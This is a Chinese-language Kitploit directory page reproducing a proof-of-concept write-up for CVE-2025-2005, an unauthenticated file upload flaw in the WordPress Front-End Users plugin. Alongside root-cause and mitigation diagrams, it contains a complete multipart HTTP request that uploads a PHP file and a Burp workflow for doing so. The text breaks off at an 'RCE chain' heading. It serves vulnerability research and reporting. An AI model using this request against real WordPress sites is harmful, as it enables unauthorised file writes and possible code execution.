Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-2005 — CVE-2025-2005 的概念验证利用,针对 WordPress Front-End Users 插件(版本 <= 3.2.32)中的任意文件上传漏洞。包含手动 HTTP 和 Python 利用脚本,用于将 PHP 网页木马上传到未经身份验证的注册表单。 | Kitploit
工具/GitHubGitHub/h4ckxel/cve-2025-2005
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubh4ckxel/cve-2025-2005

CVE-2025-2005

CVE-2025-2005 的概念验证利用,针对 WordPress Front-End Users 插件(版本 <= 3.2.32)中的任意文件上传漏洞。包含手动 HTTP 和 Python 利用脚本,用于将 PHP 网页木马上传到未经身份验证的注册表单。

查看仓库
1141个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-2005 — 前端用户任意文件上传

CVE-2025-2005

WordPress 前端用户 — 未认证任意文件上传

0xZ3R0 // h4ckxel

CVE WordPress Status Research


0x00 — 执行摘要

Front-End Users 受一个未认证任意文件上传漏洞影响,影响版本 ≤ 3.2.32。

存在漏洞的注册工作流暴露了一个上传原语,无需特权 WordPress 账户即可触达。

底层问题在于,在文件被持久化到文件系统之前,对攻击者控制的上传元数据和内容验证不足。

攻击链

                  UNAUTHENTICATED ATTACKER
                           │
                           ▼
                 Public registration form
                           │
                           ▼
                  multipart/form-data
                           │
                           ▼
                Front-End Users handler
                           │
                           ▼
                Insufficient validation
                           │
                           ▼
                Attacker-controlled file
                           │
                           ▼
        /wp-content/uploads/ewd_feup_uploads/
                           │
                           ▼
              Web-accessible resource
                           │
                           ▼
             PHP execution if permitted
                           │
                           ▼
                         RCE

最终影响取决于目标 Web 服务器和 PHP 配置。


0x01 — 漏洞元数据

属性值
CVECVE-2025-2005
产品Front-End Users
受影响版本≤ 3.2.32
CWECWE-434
类别危险类型文件的不受限上传
攻击向量网络
身份验证无
所需权限无
用户交互无
主要原语任意文件上传
潜在影响远程代码执行
研究员h4ckxel
命名空间0xZ3R0

0x02 — 漏洞分类

CWE-434

危险类型文件的不受限上传

该易受攻击的行为可归纳为:

Untrusted Input
      │
      ├── filename
      ├── extension
      ├── MIME type
      └── file content
             │
             ▼
       upload handler
             │
             ▼
        filesystem

安全边界之所以失效,是因为攻击者控制的数据在缺乏充分验证的情况下到达了持久化的文件系统位置。


0x03 — 攻击面

存在漏洞的功能与该插件的前端注册系统相关联。

一个典型的注册请求包含:

ewd-feup-action=register
Username=<value>
User_Password=<value>

并且可能包含一个额外的 multipart 文件字段:

Content-Disposition: form-data;
name="xxploit";
filename="poc.php"

Content-Type: application/x-php

有趣的部分不在于注册本身。

有趣的部分在于,该请求跨越了以下信任边界:

                 INTERNET
                    │
                    ▼
          attacker-controlled HTTP
                    │
                    ▼
          registration endpoint
                    │
                    ▼
             upload handler
                    │
                    ▼
              filesystem

0x04 — 根本原因

该漏洞源于服务器端对上传文件的验证不足。

安全的实现应建立多个独立的控制措施:

                   UPLOAD
                     │
        ┌────────────┴────────────┐
        ▼                         ▼
 Authentication              Authorization
        │                         │
        └────────────┬────────────┘
                     ▼
             Extension allowlist
                     │
                     ▼
              MIME verification
                     │
                     ▼
              Content validation
                     │
                     ▼
            Server-side filename
                     │
                     ▼
          Non-executable storage

这些控制措施中缺少任何一项都不一定会造成 RCE。

当多个层面同时失效时,问题会变得严重得多。


0x05 — 受控 PoC

以下 PoC 演示了文件写入原语,且未部署命令 shell。

HTTP 请求

POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----0xZ3R0Boundary

------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-check"

14bacb882cb211e10b2b3e07bfe096ef12a092dc
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-time"

1743554029
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-action"

register
------0xZ3R0Boundary
Content-Disposition: form-data; name="Username"

poc-user
------0xZ3R0Boundary
Content-Disposition: form-data; name="xxploit"; filename="poc.php"
Content-Type: application/x-php

<?php echo "CVE-2025-2005"; ?>

------0xZ3R0Boundary--

预期的文件系统结果

wp-content/
└── uploads/
    └── ewd_feup_uploads/
        └── <randomized-name>.php

关键观察是:

attacker-controlled extension
            +
attacker-controlled content
            +
persistent filesystem write

0x06 — Burp Suite 工作流程

适用于实验环境的实用工作流程:

[1] Open registration page
        │
        ▼
[2] Submit legitimate registration
        │
        ▼
[3] Intercept request with Burp
        │
        ▼
[4] Locate multipart file parameter
        │
        ▼
[5] Replace benign file with PoC file
        │
        ▼
[6] Forward request
        │
        ▼
[7] Inspect response
        │
        ▼
[8] Verify filesystem artifact
        │
        ▼
[9] Test whether uploads are executable

安全关键观察应在尝试任何后渗透之前进行。


0x07 — 请求差异

合法请求

Content-Disposition: form-data;
name="avatar";
filename="avatar.jpg"

<image-data>

修改后的请求

Content-Disposition: form-data;
name="xxploit";
filename="poc.php"

<?php echo "CVE-2025-2005"; ?>

从概念上讲:

- filename="avatar.jpg"
+ filename="poc.php"

- <image-data>
+ <?php echo "CVE-2025-2005"; ?>

这展示了核心原语,而不依赖武器化载荷。


0x08 — 安全验证

第一个验证目标应该是文件系统,而不是代码执行。

示例:

find wp-content/uploads/ewd_feup_uploads/ \
    -type f -printf '%f\n'

然后检查生成的产物:

file wp-content/uploads/ewd_feup_uploads/<artifact>

成功复现可确立:

HTTP request
     ↓
plugin processing
     ↓
filesystem write
     ↓
attacker-controlled artifact

只有在完成上述步骤之后,实验室操作员才应判断 Web 服务器是否允许在该目录中执行脚本。


0x09 — 执行边界

上传 PHP 文件并不自动意味着 RCE。

最终的可利用性取决于:

                    Uploaded PHP
                         │
                         ▼
                 Web accessibility?
                    /           \
                  NO             YES
                  │               │
                  ▼               ▼
              File write    PHP execution?
                              /       \
                            NO         YES
                            │           │
                            ▼           ▼
                       File upload     RCE

这一区分在报告该漏洞时很重要。

完整利用链所需条件

1. Unauthenticated upload
2. Attacker-controlled dangerous file
3. File persisted to disk
4. File reachable over HTTP
5. Server interprets the file as executable code

如果条件 #5 不存在,影响可能仍为任意文件上传,而非 RCE。


0x0A — 为什么文件名随机化还不够

插件可能会在服务端生成随机化的文件名。

例如:

shell.php
    ↓
f84c7b9d21.php

这可以防止简单的文件名预测。

它不能解决:

extension validation
content validation
authorization
execution prevention

随机化是一种隐蔽性属性,不能替代访问控制或文件类型强制。


0x0B — RCE 链

在存在漏洞的服务器配置中,完整的攻击链变为:

下载工具